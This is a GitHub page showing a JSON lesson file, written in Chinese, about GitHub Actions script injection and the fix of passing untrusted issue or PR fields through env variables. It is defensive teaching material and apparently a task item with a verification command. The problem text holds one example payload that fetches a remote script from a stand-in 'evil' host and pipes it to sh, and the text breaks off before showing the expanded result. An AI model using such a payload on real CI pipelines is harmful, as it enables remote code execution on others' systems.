forked from Ikalus1988/MisakaNet
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathlesson-github-actions-code-injection.json
More file actions
16 lines (16 loc) · 1.88 KB
/
Copy pathlesson-github-actions-code-injection.json
File metadata and controls
16 lines (16 loc) · 1.88 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"task_id": "lesson-github-actions-code-injection",
"title": "GitHub Actions Script Injection — 通过 env 变量替代内联插值",
"domain": "security",
"tags": [
"github-actions",
"security",
"code-injection",
"codeql",
"ci"
],
"problem": "当 GitHub Actions 的 `run:` 脚本中直接使用 `${{ github.event.issue.body }}` 或 `${{ github.event.pull_request.title }}` 等用户可控变量时,攻击者可以通过构造包含 shell 元字符(如 `` ` ``, `$(...)`, `;`)的 issue/PR 内容来注入任意命令。\n\n\n\n如果 issue body 是 `\"$(curl http://evil/payload.sh | sh)\"`,展开后变成:",
"solution": "将用户可控的上下文变量通过 `env:` 传递,而不是直接内联到 `run:` 脚本中:\n\n```yaml\n# ✅ 安全:通过 env 变量传递\n- run: |\n echo \"$ISSUE_BODY\" | grep \"keyword\"\n env:\n ISSUE_BODY: ${{ github.event.issue.body }}\n```\n\nGitHub Actions 在 `env:` 中对 `${{ }}` 求值并写入环境变量值,shell 不会对其中的特殊字符做二次解析。\n\n### 完整修复示例\n\n```yaml\n# Before (vulnerable)\n- run: |\n TITLE=\"${{ github.event.issue.title }}\"\n if echo \"$TITLE\" | grep -qi \"bug\"; then echo \"is bug\"; fi\n\n# After (safe)\n- run: |\n if echo \"$ISSUE_TITLE\" | grep -qi \"bug\"; then echo \"is bug\"; fi\n env:\n ISSUE_TITLE: ${{ github.event.issue.title }}\n```\n\n### CodeQL 检测规则\n\nGitHub CodeQL 的 \"Code injection\" 规则(`cs/code-injection`)会自动检测此类问题。触发条件:\n- `${{ }}` 表达式出现在 `run:` 脚本中\n- 表达式来源是用户可控的上下文(`github.event.issue.body`, `github.event.pull_request.title`, `github.event.comment.body` 等)\n- 评级:**critical**",
"source": "lessons/github-actions-code-injection.md",
"test_cmd": "python3 scripts/verify_task.py lesson-github-actions-code-injection"
}